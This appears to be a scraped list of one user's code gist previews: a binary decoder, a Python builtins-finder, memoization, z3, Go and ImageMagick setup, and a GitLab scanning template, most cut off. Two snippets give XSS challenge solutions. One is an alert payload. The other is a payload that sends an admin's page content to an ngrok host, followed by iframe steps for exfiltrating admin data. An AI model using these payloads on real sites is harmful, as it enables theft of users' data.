diofeher

import binascii
txt = [int(t,2) for t in '01001000 01100001 01110000 01110000 01111001 00100000 01000010 01101001 01110010 01110100 01101000 01100100 01100001 01111001'.split()]
print ''.join([binascii.unhexlify('%x' % c) for c in txt])

diofeher

import re
from base64 import b64decode
import pprint

story1 = '''
It's somewhat dark in here, but the walls (unbroken except for the door by
which I entered) encircle an area no more than eight feet in diameter.
It's horribly dank and dusty--no one can have been in here for years.
Is that an open envelope over there on the floor?
It seems there is a letter inside. Thank heavens it's in English.

diofeher

"""Look for builtins..."""

import types

def is_builtins(v):
    """Does v seem to be the builtins?"""
    if hasattr(v, "open") and hasattr(v, "__import__"):
        return True
    if isinstance(v, dict):
        return "open" in v and "__import__" in v

diofeher

class Memoization(object):
  def __init__(self, func):
    self.func = func
    self.data = {}

  def __call__(self, n, **kwargs):
    if n in self.data:
      return self.data[n]

    self.data[n] = self.func(n)

diofeher

Solutions of https://xss.pwnfunction.com/

Touch Ma Spaghet

Dom-Based XSS

https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=%3Cimg%20src=%22x%22%20onerror=%22alert(1337)%22%20/%3E

diofeher

First - XSS on the User

<http://g<!s://q?<!-<[<script>top.admin.location='https://196cffb1.ngrok.io/?data='+JSON.stringify(top.admin.document.getElementsByClassName('is-4')[0].textContent.trim());/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(13);/*](http://g)->a>

Second - Create a page with two iframes. With one, you stay with the admin logged in and with the other one:

1. Log out
2. Login with your XSS user
3. Control the admin iframe with XSS and exfiltrate the data

diofeher

from z3 import Solver, Ints, Or, And, Not, sat

x, y, z = Ints('x y z')
s = Solver()

s.add(x >= 0, x <= 9)
s.add(y >= 0, y <= 9)
s.add(z >= 0, z <= 9)

diofeher

# Installing Go environment on MAC + Visual Studio Code + Oh my ZSH
brew install go

cat <<EOT >> $HOME/.zshrc
export GOROOT="/usr/local/Cellar/go/1.14.4/libexec/"
export GOPATH="$HOME/workspace/go"
export PATH="${PATH}:${GOPATH}:${GOPATH}/bin"
EOT

source $HOME/.zshrc

diofeher

# concatenate two images with different sizes
convert image1.jpeg image2.jpeg -gravity Center -resize 800x200 +append output.jpeg

diofeher

{{- /* Template based on https://docs.gitlab.com/ee/user/application_security/container_scanning/#reports-json-format */ -}}
{
  "version": "11.0.0",
  "vulnerabilities": [
  {{- $t_first := true }}
  {{- range . }}
  {{- $target := .Target }}
    {{- range .Vulnerabilities -}}
    {{- if $t_first -}}
      {{- $t_first = false -}}